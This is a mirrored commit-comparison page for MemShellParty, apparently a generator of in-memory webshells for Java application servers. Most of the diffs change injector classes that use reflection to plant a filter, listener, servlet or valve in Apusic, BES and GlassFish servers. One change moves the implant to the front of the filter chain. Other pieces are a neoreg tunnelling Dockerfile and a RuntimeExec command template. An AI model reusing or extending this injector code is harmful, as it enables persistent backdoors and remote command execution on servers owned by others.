mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 23:11:52 +08:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
a1f32c5bf2 | ||
|
|
6b10b3f56f | ||
|
|
3e3d82218c | ||
|
|
202924aa54 | ||
|
|
054e22bc3d | ||
|
|
fa92930353 | ||
|
|
52437d67be | ||
|
|
117b48a9d0 | ||
|
|
3fe9a932ba | ||
|
|
1772c08f22 | ||
|
|
e44caeba1b | ||
|
|
4f080df85a | ||
|
|
7562469b44 | ||
|
|
359931a881 | ||
|
|
8c20f18c70 | ||
|
|
dace117e73 | ||
|
|
5c0d26ae16 | ||
|
|
8e9d47bbea | ||
|
|
c1f1802182 | ||
|
|
dc7958e123 | ||
|
|
d59bb9d29f | ||
|
|
3e966f8fab | ||
|
|
f940a528f0 | ||
|
|
0b48dd64bd | ||
|
|
bf213ae575 | ||
|
|
c8ede922b9 | ||
|
|
c0a059fbdc | ||
|
|
b4f8e62fc7 | ||
|
|
1c0d65b353 | ||
|
|
f26727e6fc | ||
|
|
2b1388c8eb | ||
|
|
9f7b4276e2 | ||
|
|
b992e5f60e | ||
|
|
de69a63be5 | ||
|
|
de462ae8b0 | ||
|
|
d873dae8f3 | ||
|
|
3e2fb861cd | ||
|
|
cbc71e5a52 | ||
|
|
ad8d2713ad | ||
|
|
b04a34f1ab | ||
|
|
2f325934e1 | ||
|
|
b47e437889 | ||
|
|
d1edb8fbdf | ||
|
|
7f176dd443 | ||
|
|
43c410e653 | ||
|
|
b9efe6dac5 | ||
|
|
930edbc8b0 | ||
|
|
0f473311f9 | ||
|
|
b412e9206d | ||
|
|
d9205aaff7 | ||
|
|
4dda9236ca | ||
|
|
694e60bd23 | ||
|
|
25ffe5bb14 | ||
|
|
e9265b52f5 | ||
|
|
e872e0cd06 | ||
|
|
b6219628ae | ||
|
|
0d1fab8740 | ||
|
|
e9fb20fa07 | ||
|
|
97e365e935 | ||
|
|
75e3ed595a | ||
|
|
ab4ad88d6e | ||
|
|
9abea930b3 | ||
|
|
ab8773b177 | ||
|
|
0de0efef9c | ||
|
|
3d5851f3ae | ||
|
|
9c298a2303 | ||
|
|
b846f67c34 | ||
|
|
1e5f7dd281 |
@@ -12,7 +12,10 @@ on:
|
|||||||
jobs:
|
jobs:
|
||||||
build-jar:
|
build-jar:
|
||||||
name: Build Jar
|
name: Build Jar
|
||||||
runs-on: ubuntu-latest
|
strategy:
|
||||||
|
matrix:
|
||||||
|
os: [ubuntu-latest, windows-latest]
|
||||||
|
runs-on: ${{ matrix.os }}
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v4
|
- uses: actions/checkout@v4
|
||||||
|
|
||||||
@@ -39,10 +42,16 @@ jobs:
|
|||||||
working-directory: web
|
working-directory: web
|
||||||
run: bun install --frozen-lockfile && bun run build
|
run: bun install --frozen-lockfile && bun run build
|
||||||
|
|
||||||
- name: Build Boot with Gradle
|
- name: Build Boot with Gradle (Linux)
|
||||||
|
if: matrix.os == 'ubuntu-latest'
|
||||||
run: ./gradlew :boot:test :boot:bootjar
|
run: ./gradlew :boot:test :boot:bootjar
|
||||||
|
|
||||||
- name: Upload Boot Jar
|
- name: Build Boot with Gradle (Windows)
|
||||||
|
if: matrix.os == 'windows-latest'
|
||||||
|
run: ./gradlew.bat :boot:test :boot:bootjar
|
||||||
|
|
||||||
|
- name: Upload Boot Jar (Linux)
|
||||||
|
if: matrix.os == 'ubuntu-latest'
|
||||||
uses: actions/upload-artifact@v4
|
uses: actions/upload-artifact@v4
|
||||||
with:
|
with:
|
||||||
name: boot
|
name: boot
|
||||||
|
|||||||
@@ -0,0 +1,3 @@
|
|||||||
|
[submodule "libs"]
|
||||||
|
path = libs
|
||||||
|
url = https://github.com/ReaJason/javaweb-sources.git
|
||||||
@@ -2,7 +2,7 @@ FROM python:3.12-slim
|
|||||||
|
|
||||||
WORKDIR /app
|
WORKDIR /app
|
||||||
|
|
||||||
RUN pip install requests
|
RUN pip install requests -i https://pypi.tuna.tsinghua.edu.cn/simple/
|
||||||
|
|
||||||
COPY neoreg.py .
|
COPY neoreg.py .
|
||||||
|
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
plugins {
|
plugins {
|
||||||
id("java")
|
id("java")
|
||||||
id("org.springframework.boot") version "3.5.7"
|
id("org.springframework.boot") version "3.5.8"
|
||||||
id("io.spring.dependency-management") version "1.1.7"
|
id("io.spring.dependency-management") version "1.1.7"
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -21,6 +21,8 @@ configurations {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
extra["byte-buddy.version"] = libs.versions.byte.buddy.get()
|
||||||
|
|
||||||
dependencies {
|
dependencies {
|
||||||
implementation(project(":generator")) {
|
implementation(project(":generator")) {
|
||||||
exclude(group = "commons-logging", module = "commons-logging")
|
exclude(group = "commons-logging", module = "commons-logging")
|
||||||
|
|||||||
@@ -2,9 +2,10 @@ package com.reajason.javaweb.boot.controller;
|
|||||||
|
|
||||||
import jakarta.servlet.http.HttpServletRequest;
|
import jakarta.servlet.http.HttpServletRequest;
|
||||||
import jakarta.servlet.http.HttpServletResponse;
|
import jakarta.servlet.http.HttpServletResponse;
|
||||||
|
import lombok.SneakyThrows;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import org.springframework.core.io.ClassPathResource;
|
import org.springframework.core.io.ClassPathResource;
|
||||||
import org.springframework.http.MediaType;
|
import org.springframework.http.ResponseEntity;
|
||||||
import org.springframework.stereotype.Controller;
|
import org.springframework.stereotype.Controller;
|
||||||
import org.springframework.util.FileCopyUtils;
|
import org.springframework.util.FileCopyUtils;
|
||||||
import org.springframework.web.bind.annotation.GetMapping;
|
import org.springframework.web.bind.annotation.GetMapping;
|
||||||
@@ -34,23 +35,18 @@ public class ViewController {
|
|||||||
return renderFileData(relativePath, response);
|
return renderFileData(relativePath, response);
|
||||||
}
|
}
|
||||||
|
|
||||||
@GetMapping({"/ui/docs/*.data", "/ui/*.data"})
|
|
||||||
@ResponseBody
|
|
||||||
public String handleDataFile(HttpServletRequest request, HttpServletResponse response) throws IOException {
|
|
||||||
String fullPath = request.getRequestURI().replace(request.getContextPath(), "");
|
|
||||||
String relativePath = fullPath.substring(4);
|
|
||||||
return renderFileData(relativePath, response);
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
@GetMapping("/ui/**")
|
@GetMapping("/ui/**")
|
||||||
public String handleHtmlView(HttpServletRequest request) {
|
@SneakyThrows
|
||||||
|
public Object handleView(HttpServletRequest request, HttpServletResponse response) {
|
||||||
String fullPath = request.getRequestURI().replace(request.getContextPath(), "");
|
String fullPath = request.getRequestURI().replace(request.getContextPath(), "");
|
||||||
if ("/ui".equals(fullPath) || "/ui/".equals(fullPath)) {
|
if ("/ui".equals(fullPath) || "/ui/".equals(fullPath)) {
|
||||||
return "index";
|
return "index";
|
||||||
}
|
}
|
||||||
String viewPath = fullPath.substring(4);
|
String docPath = fullPath.substring(4);
|
||||||
return viewPath + "/index";
|
if (docPath.endsWith(".data")) {
|
||||||
|
return ResponseEntity.ok(renderFileData(docPath, response));
|
||||||
|
}
|
||||||
|
return docPath + "/index";
|
||||||
}
|
}
|
||||||
|
|
||||||
private String renderFileData(String relativePath, HttpServletResponse response) {
|
private String renderFileData(String relativePath, HttpServletResponse response) {
|
||||||
@@ -61,8 +57,6 @@ public class ViewController {
|
|||||||
response.setStatus(HttpServletResponse.SC_NOT_FOUND);
|
response.setStatus(HttpServletResponse.SC_NOT_FOUND);
|
||||||
return "File not found: " + relativePath;
|
return "File not found: " + relativePath;
|
||||||
}
|
}
|
||||||
response.setContentType(MediaType.TEXT_PLAIN_VALUE);
|
|
||||||
response.setCharacterEncoding("UTF-8");
|
|
||||||
InputStreamReader reader = new InputStreamReader(
|
InputStreamReader reader = new InputStreamReader(
|
||||||
resource.getInputStream(),
|
resource.getInputStream(),
|
||||||
StandardCharsets.UTF_8
|
StandardCharsets.UTF_8
|
||||||
|
|||||||
@@ -7,5 +7,5 @@ repositories {
|
|||||||
}
|
}
|
||||||
|
|
||||||
dependencies {
|
dependencies {
|
||||||
implementation("com.vanniktech:gradle-maven-publish-plugin:0.34.0")
|
implementation("com.vanniktech:gradle-maven-publish-plugin:0.35.0")
|
||||||
}
|
}
|
||||||
@@ -3,7 +3,7 @@ plugins {
|
|||||||
}
|
}
|
||||||
|
|
||||||
mavenPublishing {
|
mavenPublishing {
|
||||||
publishToMavenCentral(true)
|
publishToMavenCentral()
|
||||||
signAllPublications()
|
signAllPublications()
|
||||||
coordinates(
|
coordinates(
|
||||||
"io.github.reajason",
|
"io.github.reajason",
|
||||||
|
|||||||
+1
-1
@@ -9,7 +9,7 @@ idea {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
version = "2.4.0"
|
version = "2.4.2"
|
||||||
|
|
||||||
tasks.register("publishAllToMavenCentral") {
|
tasks.register("publishAllToMavenCentral") {
|
||||||
dependsOn(":memshell-party-common:publishToMavenCentral")
|
dependsOn(":memshell-party-common:publishToMavenCentral")
|
||||||
|
|||||||
@@ -1,5 +1,5 @@
|
|||||||
plugins {
|
plugins {
|
||||||
id("java")
|
id("java-library")
|
||||||
alias(libs.plugins.lombok)
|
alias(libs.plugins.lombok)
|
||||||
id("maven-publish-convention")
|
id("maven-publish-convention")
|
||||||
}
|
}
|
||||||
@@ -29,17 +29,16 @@ tasks.test {
|
|||||||
dependencies {
|
dependencies {
|
||||||
implementation(project(":memshell-party-common"))
|
implementation(project(":memshell-party-common"))
|
||||||
implementation(project(":packer"))
|
implementation(project(":packer"))
|
||||||
implementation(libs.byte.buddy)
|
api(libs.byte.buddy)
|
||||||
implementation(libs.asm.commons)
|
implementation(libs.asm.commons)
|
||||||
implementation(libs.javax.websocket.api)
|
implementation(libs.javax.websocket.api)
|
||||||
implementation(libs.javax.servlet.api)
|
implementation(libs.javax.servlet.api)
|
||||||
implementation(libs.spring.webmvc)
|
implementation(libs.spring.webmvc)
|
||||||
implementation(libs.spring.webflux)
|
implementation(libs.spring.webflux)
|
||||||
implementation(libs.reactor.netty.core)
|
implementation(libs.reactor.netty.core)
|
||||||
|
implementation(libs.jackson.annotations)
|
||||||
implementation(libs.bundles.jna)
|
implementation(libs.bundles.jna)
|
||||||
implementation(libs.bcel)
|
|
||||||
implementation(libs.jackson.databind)
|
|
||||||
testImplementation(libs.junit.jupiter)
|
testImplementation(libs.junit.jupiter)
|
||||||
testImplementation(libs.hamcrest)
|
testImplementation(libs.hamcrest)
|
||||||
testRuntimeOnly(libs.junit.platform.launcher)
|
testRuntimeOnly(libs.junit.platform.launcher)
|
||||||
|
|||||||
@@ -35,7 +35,7 @@ public class CommandConfig extends ShellToolConfig {
|
|||||||
private ImplementationClass implementationClass = ImplementationClass.RuntimeExec;
|
private ImplementationClass implementationClass = ImplementationClass.RuntimeExec;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 命令执行模板,例如 sh -c "{command}" 2>&1,使用 {command} 作为占位符
|
* 命令执行模板,使用 {command} 作为占位符
|
||||||
*/
|
*/
|
||||||
private String template;
|
private String template;
|
||||||
|
|
||||||
|
|||||||
+2
-2
@@ -22,8 +22,8 @@ public final class ProcessorRegistry {
|
|||||||
);
|
);
|
||||||
|
|
||||||
private static final List<Processor<byte[]>> BYTE_PROCESSORS = Arrays.asList(
|
private static final List<Processor<byte[]>> BYTE_PROCESSORS = Arrays.asList(
|
||||||
new ShrinkPostProcessor(),
|
new JettyHandlerPostProcessor(),
|
||||||
new JettyHandlerPostProcessor()
|
new ShrinkPostProcessor()
|
||||||
);
|
);
|
||||||
|
|
||||||
private ProcessorRegistry() {
|
private ProcessorRegistry() {
|
||||||
|
|||||||
+10
-9
@@ -8,6 +8,7 @@ import java.lang.reflect.Array;
|
|||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.HashSet;
|
import java.util.HashSet;
|
||||||
|
import java.util.LinkedHashSet;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
import java.util.Set;
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
@@ -43,7 +44,7 @@ public class ApusicFilterInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -80,7 +81,7 @@ public class ApusicFilterInjector {
|
|||||||
|
|
||||||
/**
|
/**
|
||||||
* context: com.apusic.web.container.WebContainer
|
* context: com.apusic.web.container.WebContainer
|
||||||
* context -> webapp: com.apusic.deploy.runtime.WebModule
|
* context - webapp: com.apusic.deploy.runtime.WebModule
|
||||||
* /usr/local/ass/lib/apusic.jar
|
* /usr/local/ass/lib/apusic.jar
|
||||||
*/
|
*/
|
||||||
public Set<Object> getContext() throws Exception {
|
public Set<Object> getContext() throws Exception {
|
||||||
@@ -145,7 +146,12 @@ public class ApusicFilterInjector {
|
|||||||
Object filterMapping = filterMappingClass.newInstance();
|
Object filterMapping = filterMappingClass.newInstance();
|
||||||
invokeMethod(filterMapping, "setUrlPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
invokeMethod(filterMapping, "setUrlPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||||
invokeMethod(filterMapping, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
|
invokeMethod(filterMapping, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
|
||||||
invokeMethod(webModule, "addBeforeFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMapping});
|
LinkedHashSet beforeFilterMappings = (LinkedHashSet) getFieldValue(webModule, "beforeFilterMappings");
|
||||||
|
LinkedHashSet newSet = new LinkedHashSet();
|
||||||
|
newSet.add(filterMapping);
|
||||||
|
newSet.addAll(beforeFilterMappings);
|
||||||
|
beforeFilterMappings.clear();
|
||||||
|
beforeFilterMappings.addAll(newSet);
|
||||||
|
|
||||||
// addFilterModel
|
// addFilterModel
|
||||||
invokeMethod(webModule, "addFilter", new Class[]{String.class, String.class}, new Object[]{getClassName(), getClassName()});
|
invokeMethod(webModule, "addFilter", new Class[]{String.class, String.class}, new Object[]{getClassName(), getClassName()});
|
||||||
@@ -218,8 +224,7 @@ public class ApusicFilterInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
try {
|
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
Method method = null;
|
Method method = null;
|
||||||
while (clazz != null && method == null) {
|
while (clazz != null && method == null) {
|
||||||
@@ -236,12 +241,8 @@ public class ApusicFilterInjector {
|
|||||||
if (method == null) {
|
if (method == null) {
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
}
|
}
|
||||||
|
|
||||||
method.setAccessible(true);
|
method.setAccessible(true);
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
+2
-7
@@ -40,7 +40,7 @@ public class ApusicListenerInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -197,8 +197,7 @@ public class ApusicListenerInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
try {
|
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
Method method = null;
|
Method method = null;
|
||||||
while (clazz != null && method == null) {
|
while (clazz != null && method == null) {
|
||||||
@@ -215,12 +214,8 @@ public class ApusicListenerInjector {
|
|||||||
if (method == null) {
|
if (method == null) {
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
}
|
}
|
||||||
|
|
||||||
method.setAccessible(true);
|
method.setAccessible(true);
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
+2
-7
@@ -40,7 +40,7 @@ public class ApusicServletInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -198,8 +198,7 @@ public class ApusicServletInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
try {
|
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
Method method = null;
|
Method method = null;
|
||||||
while (clazz != null && method == null) {
|
while (clazz != null && method == null) {
|
||||||
@@ -216,12 +215,8 @@ public class ApusicServletInjector {
|
|||||||
if (method == null) {
|
if (method == null) {
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
}
|
}
|
||||||
|
|
||||||
method.setAccessible(true);
|
method.setAccessible(true);
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
+3
-8
@@ -40,7 +40,7 @@ public class BesFilterInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -105,7 +105,7 @@ public class BesFilterInjector {
|
|||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
private ClassLoader getWebAppClassLoader(Object context) {
|
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||||
try {
|
try {
|
||||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
@@ -218,8 +218,7 @@ public class BesFilterInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
try {
|
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
Method method = null;
|
Method method = null;
|
||||||
while (clazz != null && method == null) {
|
while (clazz != null && method == null) {
|
||||||
@@ -236,12 +235,8 @@ public class BesFilterInjector {
|
|||||||
if (method == null) {
|
if (method == null) {
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
}
|
}
|
||||||
|
|
||||||
method.setAccessible(true);
|
method.setAccessible(true);
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
+1
-1
@@ -36,7 +36,7 @@ public class BesListenerInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
|
|||||||
+1
-1
@@ -35,7 +35,7 @@ public class BesValveInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
|
|||||||
+40
-19
@@ -7,7 +7,10 @@ import java.io.PrintStream;
|
|||||||
import java.lang.reflect.Constructor;
|
import java.lang.reflect.Constructor;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.*;
|
import java.util.HashSet;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -40,7 +43,7 @@ public class GlassFishFilterInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -126,15 +129,18 @@ public class GlassFishFilterInjector {
|
|||||||
}
|
}
|
||||||
Object filterDef;
|
Object filterDef;
|
||||||
Object filterMap;
|
Object filterMap;
|
||||||
|
Class<?> filterMapClass;
|
||||||
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
||||||
try {
|
try {
|
||||||
// tomcat v8+
|
// tomcat v8+
|
||||||
filterDef = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();
|
filterDef = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();
|
||||||
filterMap = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance();
|
filterMapClass = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap");
|
||||||
|
filterMap = filterMapClass.newInstance();
|
||||||
} catch (Exception e2) {
|
} catch (Exception e2) {
|
||||||
// tomcat v5+
|
// tomcat v5+
|
||||||
filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
|
filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
|
||||||
filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance();
|
filterMapClass = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap");
|
||||||
|
filterMap = filterMapClass.newInstance();
|
||||||
}
|
}
|
||||||
|
|
||||||
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
|
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
|
||||||
@@ -145,19 +151,16 @@ public class GlassFishFilterInjector {
|
|||||||
}
|
}
|
||||||
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
|
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
|
||||||
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
|
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
|
||||||
Constructor<?>[] constructors;
|
|
||||||
try {
|
try {
|
||||||
invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
// tomcat v5
|
// tomcat v5
|
||||||
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||||
}
|
}
|
||||||
try {
|
|
||||||
// v7.0.0 以上
|
// addFilterMapFirst
|
||||||
invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
|
List filterMaps = (List) invokeMethod(context, "findFilterMaps", null, null);
|
||||||
} catch (Exception e) {
|
filterMaps.add(0, filterMap);
|
||||||
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
|
|
||||||
}
|
|
||||||
|
|
||||||
Constructor filterConfigConstructor;
|
Constructor filterConfigConstructor;
|
||||||
filterConfigConstructor = contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
|
filterConfigConstructor = contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
|
||||||
@@ -228,21 +231,39 @@ public class GlassFishFilterInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||||
Class<?> clazz = obj.getClass();
|
for (Class<?> clazz = obj.getClass();
|
||||||
while (clazz != Object.class) {
|
clazz != Object.class;
|
||||||
|
clazz = clazz.getSuperclass()) {
|
||||||
try {
|
try {
|
||||||
Field field = clazz.getDeclaredField(name);
|
return clazz.getDeclaredField(name);
|
||||||
field.setAccessible(true);
|
} catch (NoSuchFieldException ignored) {
|
||||||
return field.get(obj);
|
|
||||||
} catch (NoSuchFieldException var5) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||||
|
try {
|
||||||
|
Field field = getField(obj, name);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
} catch (NoSuchFieldException ignored) {
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
|
||||||
|
Field field = getField(obj, fieldName);
|
||||||
|
field.setAccessible(true);
|
||||||
|
field.set(obj, value);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
